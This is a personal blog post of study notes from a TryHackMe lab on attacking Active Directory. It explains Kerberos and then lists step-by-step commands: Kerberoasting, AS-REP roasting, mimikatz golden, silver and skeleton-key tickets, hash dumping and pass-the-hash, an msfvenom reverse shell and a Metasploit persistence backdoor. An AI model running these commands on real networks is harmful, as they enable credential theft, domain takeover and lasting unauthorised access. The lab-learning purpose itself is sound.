Attacking Active Directory & Kerberoasting

This blog contains a complete explanation of How Active Directory Works,Kerberoasting and all other Active Directory Attacks along with Resources.This blog is written as a part of my Notes and the materials are taken from tryhackme room “Attacking Kerberos”

Before you start the tryhackme room called “Attacking Kerberos” which will be really confusing for people new to it, i would suggest you to finish these videos for a complete understanding of the subject.

— [NOTES] —

AD DS contains a database called NTDS.dit(needed to store and manage directory information such as users, groups, and service) NTDS.dit is stored in %SystemRoot%\NTDS

Domain controller is the head and there are many forests(group of computers) and inside each forest, there are trees


  • Trees — A hierarchy of domains in Active Directory Domain Services
  • Domains — Used to group and manage objects
  • Organizational Units (OUs) — Containers for groups, computers, users, printers and other OUs
  • Trusts — Allows users to access resources in other domains
  • Objects — users, groups, printers, computers, shares
  • Domain Services — DNS Server, LLMNR, IPv6
  • Domain Schema — Rules for object creation


  • Domain Admins — This is the big boss: they control the domains and are the only ones with access to the domain controller.
  • Service Accounts (Can be Domain Admins) — These are for the most part never used except for service maintenance, they are required by Windows for services such as SQL to pair a service with a service account
  • Local Administrators — These users can make changes to local machines as an administrator and may even be able to control other normal users, but they cannot access the domain controller
  • Domain Users — These are your everyday users. They can log in on the machines they have the authorization to access and may have local administrator rights to machines depending on the organization.

Groups Overview -

Groups make it easier to give permissions to users and objects by organizing them into groups with specified permissions. There are two overarching types of Active Directory groups:

  • Security Groups — These groups are used to specify permissions for a large number of users
  • Distribution Groups — These groups are used to specify email distribution lists. As an attacker these groups are less beneficial to us but can still be beneficial in enumeration

Default Security Groups -

There are a lot of default security groups so I won’t be going into too much detail of each past a brief description of the permissions that they offer to the assigned group. Here is a brief outline of the security groups:

  • Domain Controllers — All domain controllers in the domain
  • Domain Guests — All domain guests
  • Domain Users — All domain users
  • Domain Computers — All workstations and servers joined to the domain
  • Domain Admins — Designated administrators of the domain
  • Enterprise Admins — Designated administrators of the enterprise
  • Schema Admins — Designated administrators of the schema
  • DNS Admins — DNS Administrators Group
  • DNS Update Proxy — DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).
  • Allowed RODC Password Replication Group — Members in this group can have their passwords replicated to all read-only domain controllers in the domain
  • Group Policy Creator Owners — Members in this group can modify group policy for the domain
  • Denied RODC Password Replication Group — Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain
  • Protected Users — Members of this group are afforded additional protections against authentication security threats. See for more information.
  • Cert Publishers — Members of this group are permitted to publish certificates to the directory
  • Read-Only Domain Controllers — Members of this group are Read-Only Domain Controllers in the domain
  • Enterprise Read-Only Domain Controllers — Members of this group are Read-Only Domain Controllers in the enterprise
  • Key Admins — Members of this group can perform administrative actions on key objects within the domain.
  • Enterprise Key Admins — Members of this group can perform administrative actions on key objects within the forest.
  • Cloneable Domain Controllers — Members of this group that are domain controllers may be cloned.
  • RAS and IAS Servers — Servers in this group can access remote access properties of users

Domain services in Active Directory

  • LDAP — Lightweight Directory Access Protocol; provides communication between applications and directory services
  • Certificate Services — allows the domain controller to create, validate, and revoke public key certificates
  • DNS, LLMNR, NBT-NS — Domain Name Services for identifying IP hostnames

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts.NetBIOS and LLMNR are protocols used to resolve host names on local networks

Authentication in Active Directory

  • Kerberos — The default authentication service for Active Directory uses ticket-granting tickets and service tickets to authenticate users and give users access to other resources across the domain.(Also called “Ticket Granting Service”)
  • NTLM — default Windows authentication protocol uses an encrypted challenge/response protocol


COMMANDS (powerview usage)

Download PowerView→

Cheat sheet for powerview→

powershell -ep bypass → this command bypasses execution policy

. .\Powerview.ps1 → import the powerview module

Get-NetComputer -fulldata | select operatingsystem → gets a list of all operating systems on the domain

Get-NetUser | select cn → gets a list of all users on the domain



Kerberos is the default authentication service for Microsoft Windows domains. It is intended to be more “secure” than NTLM by using third party ticket authorization as well as stronger encryption. Even though NTLM has a lot more attack vectors to choose from Kerberos still has a handful of underlying vulnerabilities just like NTLM that we can use to our advantage.

Common Terminology -

  • Ticket Granting Ticket (TGT) — A ticket-granting ticket is an authentication ticket used to request service tickets from the TGS for specific resources from the domain.
  • Key Distribution Center (KDC) — The Key Distribution Center is a service for issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.
  • Authentication Service (AS) — The Authentication Service issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets.
  • Ticket Granting Service (TGS) — The Ticket Granting Service takes the TGT and returns a ticket to a machine on the domain.
  • Service Principal Name (SPN) — A Service Principal Name is an identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.
  • KDC Long Term Secret Key (KDC LT Key) The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
  • Client Long Term Secret Key (Client LT Key) The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
  • Service Long Term Secret Key (Service LT Key) The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
  • Session Key — Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
  • Privilege Attribute Certificate (PAC) — The PAC holds all of the user’s relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.

AS-REQ w/ Pre-Authentication In Detail -

The AS-REQ step in Kerberos authentication starts when a user requests a TGT from the KDC. In order to validate the user and create a TGT for the user, the KDC must follow these exact steps. The first step is for the user to encrypt a timestamp NT hash and send it to the AS. The KDC attempts to decrypt the timestamp using the NT hash from the user, if successful the KDC will issue a TGT as well as a session key for the user.

Ticket Granting Ticket Contents -

In order to understand how the service tickets get created and validated, we need to start with where the tickets come from; the TGT is provided by the user to the KDC, in return, the KDC validates the TGT and returns a service ticket.

Service Ticket Contents -

To understand how Kerberos authentication works you first need to understand what these tickets contain and how they’re validated. A service ticket contains two portions: the service provided portion and the user-provided portion. I’ll break it down into what each portion contains.

  • Service Portion: User Details, Session Key, Encrypts the ticket with the service account NTLM hash.
  • User Portion: Validity Timestamp, Session Key, Encrypts with the TGT session key.

Kerberos Authentication Overview -

AS-REQ — 1.) The client requests an Authentication Ticket or Ticket Granting Ticket (TGT).

AS-REP — 2.) The Key Distribution Center verifies the client and sends back an encrypted TGT.


  • 3.) The client sends the encrypted TGT to the Ticket Granting Server (TGS) with the Service Principal Name (SPN) of the service the client wants to access.


  • 4.) The Key Distribution Center (KDC) verifies the TGT of the user and that the user has access to the service, then sends a valid session key for the service to the client.

AP-REQ — 5.) The client requests the service and sends the valid session key to prove the user has access.

AP-REP — 6.) The service grants access

Kerberos Tickets Overview -

The main ticket that you will see is a ticket-granting ticket these can come in various forms such as a .kirbi for Rubeus .ccache for Impacket. The main ticket that you will see is a .kirbi ticket. A ticket is typically base64 encoded and can be used for various attacks. The ticket-granting ticket is only used with the KDC in order to get service tickets. Once you give the TGT the server then gets the User details, session key, and then encrypts the ticket with the service account NTLM hash. Your TGT then gives the encrypted timestamp, session key, and the encrypted TGT. The KDC will then authenticate the TGT and give back a service ticket for the requested service. A normal TGT will only work with that given service account that is connected to it however a KRBTGT allows you to get any service ticket that you want allowing you to access anything on the domain that you want.

Attack Privilege Requirements -

  • Kerbrute Enumeration — No domain access required
  • Pass the Ticket — Access as a user to the domain required
  • Kerberoasting — Access as any user required
  • AS-REP Roasting — Access as any user required
  • Golden Ticket — Full domain compromise (domain admin) required
  • Silver Ticket — Service hash required
  • Skeleton Key — Full domain compromise (domain admin) required


./kerbrute userenum — dc CONTROLLER.local -d CONTROLLER.local User.txt

Download a precompiled binary for your OS —

Download wordlist-


Harvest ticket → Rubeus.exe harvest /interval:30


When brute-forcing passwords you use a single user account and a wordlist of passwords to see which password works for that given user account. In password spraying, you give a single password such as Password1 and “spray” against all found user accounts in the domain to find which one may have that password.

Before password spraying with Rubeus, you need to add the domain controller domain name to the windows host file. You can add the IP and domain name to the hosts file from the machine by using the echo command:

echo CONTROLLER.local >> C:\\Windows\\System32\\drivers\\etc\\hosts

USAGE→ Rubeus.exe brute /password:Password1 /noticket


kerberoasting with rubeus Command→ Rubeus.exe Kerberoast

After running it, we get in in .txt file and we can crack using hashcat

hashcat -m 13100 -a 0 hash.txt Pass.txt


INSTALLATION→git clone /opt/impacket pip3 install -r /opt/impacket/requirements.txt cd /opt/impacket/ && python3 ./ install

1.) cd /usr/share/doc/python3-impacket/examples/ - navigate to where is located

2.) sudo python3 controller.local/Machine1:Password1 -dc-ip -request

  • this will dump the Kerberos hash for all kerberoastable accounts it can find on the target domain just like Rubeus does; however, this does not have to be on the targets machine and can be done remotely.

3.) hashcat -m 13100 -a 0 hash.txt Pass.txt - now crack that hash


command→Rubeus.exe asreproast

insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User…..

hashcat -m 18200 hash.txt Pass.txt


cd Downloads
sekurlsa::tickets /export
To use the has and login we can use
kerberos::ptt <ticket>

Notes: make sure u get 20 Ok response after running privilege::debug

after exporting all tickets using sekurlsa, use the admin ticket(administrator@krbtgt-CONTROLLER)

example of command kerberos::ptt <ticket> → kerberos::ptt [0;28ea56]-2–0–60a10000-CONTROLLER-1$@krbtgt-CONTROLLER.LOCAL.kirbi


A golden ticket attack works by dumping the ticket-granting ticket of any user on the domain this would preferably be a domain admin however for a golden ticket you would dump the krbtgt ticket and for a silver ticket, you would dump any service or domain admin ticket. This will provide you with the service/domain admin account’s SID or security identifier that is a unique identifier for each user account, as well as the NTLM hash. You then use these details inside of a mimikatz golden ticket attack in order to create a TGT that impersonates the given service account information.


  1. command→ mimikatz.exe

2.) privilege::debug - ensure this outputs [privilege '20' ok]

3.) lsadump::lsa /inject /name:krbtgt - This will dump the hash as well as the security identifier needed to create a Golden Ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.(eg:lsadump::lsa /inject /name:sqlservice)


Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id: — This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.

Use the Golden/Silver Ticket to access other machines -

1.) misc::cmd - this will open a new elevated command prompt with the given ticket in mimikatz.

2.) Access machines that you want, what you can access will depend on the privileges of the user that you decided to take the ticket from however if you took the ticket from krbtgt you have access to the ENTIRE network hence the name golden ticket; however, silver tickets only have access to those that the user has access to if it is a domain admin it can almost access the entire network however it is slightly less elevated from a golden ticket.

— — — — — — — — — — — — — — — — —


Skeleton Key Overview -

The skeleton key works by abusing the AS-REQ encrypted timestamps .the timestamp is encrypted with the users NT hash. The domain controller then tries to decrypt this timestamp with the users NT hash, once a skeleton key is implanted the domain controller tries to decrypt the timestamp using both the user NT hash and the skeleton key NT hash allowing you access to the domain forest.The skeleton key runs in the memory


  1. mimikatz.exe
  2. privilege::debug
  3. misc::skeleton

Accessing the forest -

The default credentials will be: “mimikatz”

example: net use c:\\\\DOMAIN-CONTROLLER\\admin$ /user:Administrator mimikatz - The share will now be accessible without the need for the Administrators password

example: dir \\\\Desktop-1\\c$ /user:Machine1 mimikatz - access the directory of Desktop-1 without ever knowing what users have access to Desktop-1


cd Impacket/examples spookysec.local/backup:’backup2517860'@ -just-dc

This will dump all the password hashes including that of Administrator


NOTE: only the selected part above is the hash Administrator@ -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc

(here we provide the hash of the Administrator, after running, we get a shell)


evil-winrm -i -u administrator -H e4876a80a723612986d7609aa5ebc12b



1.) powershell -ep bypass (bypasses the execution policy of powershell allows running scripts

. .\Downloads\PowerView.ps1 (run powerview)

Enumerate the domain users → Get-NetUser | select cn

Enumerate the domain groups → Get-NetGroup -GroupName admin

Invoke-ShareFinder → find all share folders

Get-NetComputer -fulldata | select operatingsystem → get all OS running in network



Bloodhound is a graphical interface that allows you to visually map out the network. This tool along with SharpHound which similar to PowerView takes the user, groups, trusts etc. of the network and collects them into .json files to be used inside of Bloodhound.

BloodHound Installation -

1.) apt-get install bloodhound

2.) neo4j console - default credentials -> neo4j:neo4j

Getting loot w/ SharpHound -

1.) powershell -ep bypass same as with PowerView

2.) . .\\Downloads\\SharpHound.ps1

3.) Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName

4.) Transfer the folder to your Attacker Machine

note: you can use scp to transfer the file if you’re using ssh

We can use scp to copy loot from target back to Kali. First set SSH to allow root to access it, by editing /etc/ssh/sshd_config. Change the PermitRootLogin to remove # and put yes at the end:

scp .\ root@

Mapping the network w/ BloodHound -

1.) bloodhound Run this on your attacker machine not the victim machine

2.) Sign In using the same credentials you set with Neo4j

3.) Inside of Bloodhound search for the upload icon

and import the folder

note: On some versions of BloodHound the import button does not work to get around this simply drag and drop the folder into Bloodhound to import the .json files

4.) To view the graphed network open the menu and select queries this will give you a list of pre-compiled queries to choose from.

The queries can be as simple as find all domain admins -

Or as complicated as shortest path to high value targets -

There are plenty of queries to choose from and enumerate connections inside of the network

Dump Hashes with mimikatz

1.) cd Downloads && mimikatz.exe this will cd into the directory that mimikatz is kept as well as run the mimikatz binary

2.) privilege::debug ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly

3.) lsadump::lsa /patch Dump those hashes!

Crack those hashes w/ hashcat

1.) hashcat -m 1000 <hash> rockyou.txt


We will first dump the hash and sid of the krbtgt user then create a golden ticket and use that golden ticket to open up a new command prompt allowing us to access any machine on the network.


Dump the krbtgt Hash -

1.) cd downloads && mimikatz.exe

2.) privilege::debug ensure this outputs [privilege "20" ok]

3.) lsadump::lsa /inject /name:krbtgt This dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket

Take note of what is outlined in red you’ll need it to create the golden ticket

Create a Golden Ticket -

1.) kerberos::golden /user: /domain: /sid: /krbtgt: /id:

Use the Golden Ticket to access other machine -

1.) misc::cmd - This will open a new command prompt with elevated privileges to all machines

2.) Access other Machines! — You will now have another command prompt with access to all other machines on the network

Enumeration w/ Server Manager -

This is what Windows Server Manager will look when you first open it up the main tabs that will be most interesting are the tools and manage tabs the tools tab is where you will find most of your information such as users, groups, trusts, computers. The manage tab will allow you to add roles and features however this will probably get picked up by a systems admin relatively quick.

Dont worry about the AD CS, AD DS, DNS, or File and Storage Services these are setup for exploitation of the active directory and dont have much use for post-exploitation

Navigate to the tools tab and select the Active Directory Users and Computers

This will pull up a list of all users on the domain as well as some other useful tabs to use such as groups and computers

Some sys admins dont realize that you as an attacker can see the descriptions of user accounts so they may set the service accounts passwords inside of the description look into the description and find what the SQL Service password is


Generating a Payload w/ msfvenom

1.) msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe this will generate a basic windows meterpreter reverse tcp shell

2.) Transfer the payload from your attacker machine to the target machine.

3.) use exploit/multi/handler - this will create a listener on the port that you set it on.

4.) Configure our payload to be a windows meterpreter shell: set payload windows/meterpreter/reverse_tcp

5.) After setting your THM IP address as your “LHOST”, start the listener with run

6.) Executing the binary on the windows machine will give you a meterpreter shell back on your host — let’s return to that

7.) Verify that we’ve got a meterpreter shell, where we will then background it to run the persistence module.

Run the Persistence Module -

1.) use exploit/windows/local/persistence this module will send a payload every 10 seconds in default however you can set this time to anything you want

2.) set session 1 set the session to the session that we backgrounded in meterpreter (you can use the sessions command in metasploit to list the active sessions)

If the system is shut down or reset for whatever reason you will lose your meterpreter session however by using the persistence module you create a backdoor into the system which you can access at any time using the metasploit multi handler and setting the payload to windows/meterpreter/reverse_tcp allowing you to send another meterpreter payload to the machine and open up a new meterpreter session.

Here you can see the session dies however the second we run the handler again we get a meterpreter shell back thanks to the persistence service.

Resources -

I am a Penetration Tester, Currently pursuing OSCP. Skilled in Network Pen-testing and Developing Hacking Tools using Python.I Share my Knowledge on YouTube